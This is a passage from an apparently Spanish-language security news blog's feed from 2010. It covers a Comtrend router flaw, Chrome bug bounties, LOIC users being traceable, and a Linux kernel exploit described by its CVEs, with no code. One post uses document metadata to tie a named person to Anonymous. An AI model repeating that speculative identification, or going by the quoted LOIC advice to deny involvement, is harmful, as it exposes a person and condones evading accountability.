todo este asunto. Las compañías telefónicas tendrán que realizar un cambio masivo de equipos (millones de personas) para que el fallo pueda ser erradicado completamente independientemente de si el fallo se resuelve ya mismo por parte del fabricante. Por esa misma razón dudo mucho que los datos técnicos del fallo y las pruebas de concepto se liberen a corto plazo.&lt;br /&gt;&lt;br /&gt;Veremos como sigue esta historia, que por suerte va de la mano de personas respetables como las que conforman seguridadwireless.net; lugar donde el único objetivo y preocupación es mejorar la seguridad de las redes de todos.</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/8238556267613494971/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/fallo-de-seguridad-en-el-router.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8238556267613494971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8238556267613494971'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/fallo-de-seguridad-en-el-router.html' title='Fallo de seguridad en el router COMTREND.'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-5376012700700013336</id><published>2010-12-14T14:19:00.005-03:00</published><updated>2010-12-14T14:21:06.315-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bugs"/><category scheme="http://www.blogger.com/atom/ns#" term="Chrome"/><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><title type='text'>Nueva versión de Chrome, nuevos bugs arreglados!</title><content type='html'>Google ha publicado una nueva versión de su navegador Chrome, arreglando dos bugs graves así como también otros fallos menores. &lt;a href=&quot;http://googlechromereleases.blogspot.com/2010/12/stable-beta-channel-updates_13.html&quot;&gt;Chrome 8.0.552.224&lt;/a&gt; esta disponible en los canales stable y beta.&lt;br /&gt;&lt;br /&gt;El primer fallo afectaba solamente a las plataformas Linux 64-bit debido a una validación errónea. Mientras que el segundo fallo se debía a los siempre molestos &lt;a href=&quot;http://en.wikipedia.org/wiki/Stale_pointer_bug&quot;&gt;Stale pointers.&lt;/a&gt; Mas detalles se pueden encontrar en el &lt;a href=&quot;http://build.chromium.org/f/chromium/perf/dashboard/ui/changelog.html?url=/branches/552/src&amp;amp;range=68599:67652&amp;amp;mode=html&quot;&gt;SVN log&lt;/a&gt;.&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: x-small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Helvetica Neue&#39;,Arial,Helvetica,sans-serif; font-size: 12px; line-height: 15px;&quot;&gt;&lt;span style=&quot;background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;Lista de bugs y recompensas:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;ul style=&quot;color: black;&quot;&gt;&lt;li style=&quot;background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[64-bit Linux only] [&lt;/span&gt;&lt;a href=&quot;http://code.google.com/p/chromium/issues/detail?id=56449&quot;&gt;&lt;span style=&quot;background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;56449&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;High&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; Bad validation for message deserialization on 64-bit builds. &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Credit to Lei Zhang of the Chromium development community.&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[&lt;/span&gt;&lt;a href=&quot;http://code.google.com/p/chromium/issues/detail?id=60761&quot;&gt;&lt;span style=&quot;background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;60761&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Medium&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; Bad extension can cause browser crash in tab handling. &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Credit to kuzzcc.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[&lt;/span&gt;&lt;a href=&quot;http://code.google.com/p/chromium/issues/detail?id=63529&quot;&gt;&lt;span style=&quot;background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;63529&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Low&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; Browser crash with NULL pointer in web worker handling. &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Credit to Nathan Weizenbaum of Google.&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[$&lt;/span&gt;&lt;span style=&quot;background-color: white; color: lime; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] [&lt;/span&gt;&lt;a href=&quot;http://code.google.com/p/chromium/issues/detail?id=63866&quot;&gt;&lt;span style=&quot;background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;63866&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Medium&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; Out-of-bounds read in CSS parsing. &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Credit to Chris Rohlf.&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[$&lt;/span&gt;&lt;span style=&quot;background-color: white; color: lime; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] [&lt;/span&gt;&lt;a href=&quot;http://code.google.com/p/chromium/issues/detail?id=64959&quot;&gt;&lt;span style=&quot;background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;64959&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;High&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; Stale pointers in cursor handling. &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Credit to Sławomir Błażek and Sergey Glazunov.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/span&gt;Como se puede apreciar, $1000 para Chris Rohlf y otros $1000 para Sławomir Błażek y Sergey Glazunov. Gracias al &lt;a href=&quot;http://blog.chromium.org/2010/01/encouraging-more-chromium-security.html&quot;&gt;programa de recompensas de Google.&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/5376012700700013336/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/nueva-versi%C3%B3n-de-chrome-nuevos-bugs.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/5376012700700013336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/5376012700700013336'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/nueva-versi%C3%B3n-de-chrome-nuevos-bugs.html' title='Nueva versión de Chrome, nuevos bugs arreglados!'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8829844631086837527</id><published>2010-12-13T20:58:00.002-03:00</published><updated>2010-12-13T21:21:11.126-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous"/><category scheme="http://www.blogger.com/atom/ns#" term="LOIC"/><category scheme="http://www.blogger.com/atom/ns#" term="WikiLeaks"/><title type='text'>Herramienta utilizada para realizar DDoS podria revelar la identidad del grupo Anonymous</title><content type='html'>Un nuevo estudio demuestra que el software utilizado para realizar los ataques DDoS utilizado por el grupo &quot;Anonymous&quot; podría servir para descubrir las identidades de los individuos que utilizaron dicho software.&lt;br /&gt;&lt;br /&gt;El software denominado &lt;a href=&quot;http://en.wikipedia.org/wiki/LOIC&quot;&gt;Low Orbit Ion Cannon&lt;/a&gt; (LOIC) es una herramienta desarrollada en primera instancia con el objetivo de realizar pruebas de estrés (DoS)&amp;nbsp; . No obstante es la herramienta utilizada para llevar a cabo los ataques DDoS que en el ultimo tiempo se han vuelto un actor principal en la guerra entre WikiLeaks y Estados Unidos. &lt;br /&gt;La versión modificada que utiliza el grupo &quot;Anonymous&quot; permite realizar los ataques manualmente u simplemente formar parte de un ataque con solo utilizar la aplicación. Sin embargo, &lt;a href=&quot;http://www.simpleweb.org/reports/loic-report.pdf&quot;&gt;acorde a un estudio publicado&lt;/a&gt;, la identidad de las personas que utilizaron el software en pos de participar en los ataques podria descubrirse, ya que la aplicación falla notablemente en la tarea de ocultar las direcciones IP de los usuarios que lo utilizan, directamente ni siquiera lo intenta.&lt;br /&gt;&lt;br /&gt;Podria ocurrir que las autoridades decidan dar ejemplos arrestando a varias personas involucradas en los ataques. &lt;br /&gt;En el FAQ de LOIC se puede encontrar preguntas como estas:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Q: “Will I get caught/arrested for using it?”&lt;br /&gt;A: Chances are next to zero. Just blame you have a virus, or simply&lt;br /&gt;deny any knowledge of it.&lt;/blockquote&gt;Es decir, remarcan que es improbable que esto pueda llevarse a cabo dado que uno podría aludir estar infectado y haber formado parte del ataque sin quererlo realmente, lo cual es muy difícil de comprobar pero a la vez muy difícil de refutar. &lt;br /&gt;&lt;br /&gt;Por otro lado, el estudio haciendo hincapié en el FAQ de LOIC, aclara:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;blockquote&gt;We would like to rephrase the question as: is it technically feasible to identify&lt;br /&gt;a participant in the Anonymous operation? The answer depends on two factors:&lt;br /&gt;the tool and the generated data.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;Hasta el dia de hoy, solo un chico de &lt;a href=&quot;http://www.rosario3.com/tecnologia/noticias.aspx?idNot=82738&quot;&gt;16 años ha sido arrestado&lt;/a&gt; por formar parte de los ataques.&lt;br /&gt;&lt;br /&gt;A ver como sigue esta historia.&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;a href=&quot;http://www.simpleweb.org/reports/loic-report.pdf&quot;&gt;LOIC Report&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://threatpost.com/en_us/blogs/hacking-tool-used-anonymous-could-reveal-users-identity-121310&quot;&gt;Hacking Tool Used By Anonymous Could Reveal Users Identity&lt;/a&gt;&lt;a href=&quot;http://threatpost.com/en_us/blogs/dutch-arrest-16-year-old-wikileaks-attack-121010&quot;&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://threatpost.com/en_us/blogs/dutch-arrest-16-year-old-wikileaks-attack-121010&quot;&gt;Dutch Arrest 16 Year Old for Wikileaks Attack&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/8829844631086837527/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/herramienta-utilizada-para-realizar.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8829844631086837527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8829844631086837527'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/herramienta-utilizada-para-realizar.html' title='Herramienta utilizada para realizar DDoS podria revelar la identidad del grupo Anonymous'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-4735329348596089341</id><published>2010-12-11T18:49:00.000-03:00</published><updated>2010-12-11T18:49:18.843-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Documental"/><category scheme="http://www.blogger.com/atom/ns#" term="WikiLeaks"/><title type='text'>Documental de WikiLeaks. &quot;WikiRebels – The Documentary&quot;</title><content type='html'>&lt;object height=&quot;258&quot; width=&quot;416&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://svt.se/embededflash/2264028/play.swf&quot;&gt;&lt;/param&gt;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowfullscreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;sameDomain&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://svt.se/embededflash/2264028/play.swf&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; allowfullscreen=&quot;true&quot; allowScriptAccess=&quot;sameDomain&quot; width=&quot;416&quot; height=&quot;258&quot;&gt;&lt;/embed&gt;&lt;/object&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/4735329348596089341/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/documental-de-wikileaks-wikirebels.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/4735329348596089341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/4735329348596089341'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/documental-de-wikileaks-wikirebels.html' title='Documental de WikiLeaks. &quot;WikiRebels – The Documentary&quot;'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-2716608658836554623</id><published>2010-12-11T16:19:00.001-03:00</published><updated>2010-12-12T12:38:53.429-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous"/><category scheme="http://www.blogger.com/atom/ns#" term="Open Office"/><title type='text'>Alex Tapanaris == Anonymous?</title><content type='html'>Parece que la gente de &quot;Anonymous&quot; no esta al tanto de la información que se puede conseguir mediante la extracción de metadatos. Por lo menos no lo estuvo quien realizo el comunicado de prensa que acaba de salir:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TQPNtDYHgzI/AAAAAAAAAGQ/AZJ8fi8YgBU/s1600/Dibujo.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;197&quot; src=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TQPNtDYHgzI/AAAAAAAAAGQ/AZJ8fi8YgBU/s320/Dibujo.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A ver que nos muestra el documento utilizando la querida &lt;a href=&quot;http://www.informatica64.com/foca/&quot;&gt;Foca:&lt;br /&gt;&lt;br /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TQPOL28FQRI/AAAAAAAAAGU/FXAQ_Tztacs/s1600/ss.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;230&quot; src=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TQPOL28FQRI/AAAAAAAAAGU/FXAQ_Tztacs/s320/ss.JPG&quot; width=&quot;320&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;Aparentemente se le ocurrió a mucha gente hacer lo mismo dado que si se busca en Google algo como &quot;Alex Tapanaris anonymous&quot; se encuentran bastantes links con la misma información. Incluso ya han publicado datos personales como domicilio, teléfono, entre otras cosas.&lt;br /&gt;&lt;br /&gt;Sera un nombre falso o un descuido por parte de Alex? a saber!</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/2716608658836554623/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/alex-tapanaris-anonymous.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/2716608658836554623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/2716608658836554623'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/alex-tapanaris-anonymous.html' title='Alex Tapanaris == Anonymous?'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_i-43lFP4TnI/TQPNtDYHgzI/AAAAAAAAAGQ/AZJ8fi8YgBU/s72-c/Dibujo.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7215564811506320402</id><published>2010-12-09T16:26:00.000-03:00</published><updated>2010-12-09T16:26:44.180-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Exploit para kernel Linux 2.6.x permite la elevación local de privilegios</title><content type='html'>&amp;nbsp;Exploit para kernel Linux 2.6.x permite la elevación local de privilegios&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Dan Rosenberg ha publicado un exploit para el kernel de Linux 2.6.x que permite a un usuario local elevar privilegios.&lt;br /&gt;El exploit hace uso de tres vulnerabilidades publicadas por Nelson Elhage (CVE-2010-4258, CVE-2010-3849, CVE-2010-3850).&lt;br /&gt;&lt;br /&gt;A continuación se detallan las distintas vulnerabilidades:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;CVE-2010-4258: Existe un error de falta de comprobación de límites en&lt;br /&gt;la función set_fs(KERNEL_DS que podría ser aprovechado por un atacante&lt;br /&gt;local para elevar privilegios a través de vectores relacionados con la&lt;br /&gt;creación de un hilo con la bandera CLONE_CHILD_CLEARTID activada.&lt;br /&gt;&lt;br /&gt;CVE-2010-3849: Existe un error de comprobación de restricciones en la&lt;br /&gt;función &#39;econet_sendmsg&#39; del protocolo Econet que podría causar una&lt;br /&gt;referencia a puntero nulo. Esto podría ser aprovechado por un atacante&lt;br /&gt;local para causar una denegación de servicio a través de una llamada a&lt;br /&gt;la función &#39;econet_sendmsg&#39; con el valor dirección remota instanciado a&lt;br /&gt;NULL.&lt;br /&gt;&lt;br /&gt;CVE-2010-3850: Existe un error en la función &#39;ec_dev_ioctl&#39; en el&lt;br /&gt;protocolo Econet que no comprueba el valor de la variable &#39;SIOCSIFADDR&#39;.&lt;br /&gt;Esto podría ser aprovechado por un atacante local para ejecutar código&lt;br /&gt;arbitrario a través de una llamada a &#39;ec_dev_ioctl&#39; especialmente&lt;br /&gt;manipulada.&lt;/blockquote&gt;&lt;br /&gt;Actualmente Debian y Ubuntu han publicado actualizaciones para las vulnerabilidades CVE-2010-3849 y CVE-2010-3850, por lo que no tendría éxito el exploit. Tan poco sería posible llevarlo a cabo en sistemas Red Hat ya que por defecto no integran el protocolo Econet.&lt;br /&gt;&lt;br /&gt;Referencia: &lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Dec/85&quot;&gt;http://seclists.org/fulldisclosure/2010/Dec/85&lt;/a&gt;  &lt;br /&gt;Fuente: &lt;a href=&quot;http://www.hispasec.com/unaaldia/4427/comentar&quot;&gt;http://www.hispasec.com/unaaldia/4427/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/7215564811506320402/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/exploit-para-kernel-linux-26x-permite.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7215564811506320402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7215564811506320402'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/exploit-para-kernel-linux-26x-permite.html' title='Exploit para kernel Linux 2.6.x permite la elevación local de privilegios'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7775363096006604200</id><published>2010-11-30T20:30:00.002-03:00</published><updated>2010-11-30T20:30:42.588-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="elhacker.net"/><title type='text'>[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net</title><content type='html'>&lt;a href=&quot;http://3.bp.blogspot.com/_z9kbRdkXfns/TPRXqCykf2I/AAAAAAAAAAM/aPJsYf5g36c/s1600/sinttulo1ku.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545153421015023458&quot; src=&quot;http://3.bp.blogspot.com/_z9kbRdkXfns/TPRXqCykf2I/AAAAAAAAAAM/aPJsYf5g36c/s320/sinttulo1ku.png&quot; style=&quot;cursor: pointer; display: block; height: 84px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Termino el periodo de entrega de aplicaciones del &lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html&quot;&gt;concurso de desarrollo de aplicaciones&lt;/a&gt;, para dar paso a las votaciones.&lt;br /&gt;Lamentamos los que no pudieron participar porque se enteraron tarde u porque no tuvieron tiempo para trabajar en su proyecto, pero esperamos y alentamos a todos a que participen en la próxima edición del concurso!&lt;br /&gt;&lt;br /&gt;De mi parte, y de parte de todo el staff de elhacker.net, quiero felicitar a todos los que han participado, ya que independientemente de quienes estén en los primeros puestos, todos son ganadores al participar.&lt;br /&gt;Especiales felicitaciones a las personas que decidieron involucrarse en el concurso a pesar de tener poco tiempo en el mundo de la programación, y a los que no son nuevos pero han tenido complicaciones con sus horarios, y así y todo han sacado tiempo de donde no lo hay para poder estar. Doy fe que se han esforzado bastante para participar y eso vale mucho para todos nosotros.&lt;br /&gt;&lt;br /&gt;Espero que se hayan divertido programando y que hayan aprendido algo nuevo en el camino.&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 15pt; line-height: 1.3em;&quot;&gt;&lt;b&gt;Comienzan las votaciones!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para emitir tu voto, &lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_votaciones-t312301.0.html&quot; style=&quot;font-weight: bold;&quot;&gt;entra aquí!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Lista de aplicaciones&lt;/b&gt;:&lt;br /&gt;&lt;ul style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;li&gt;&lt;a 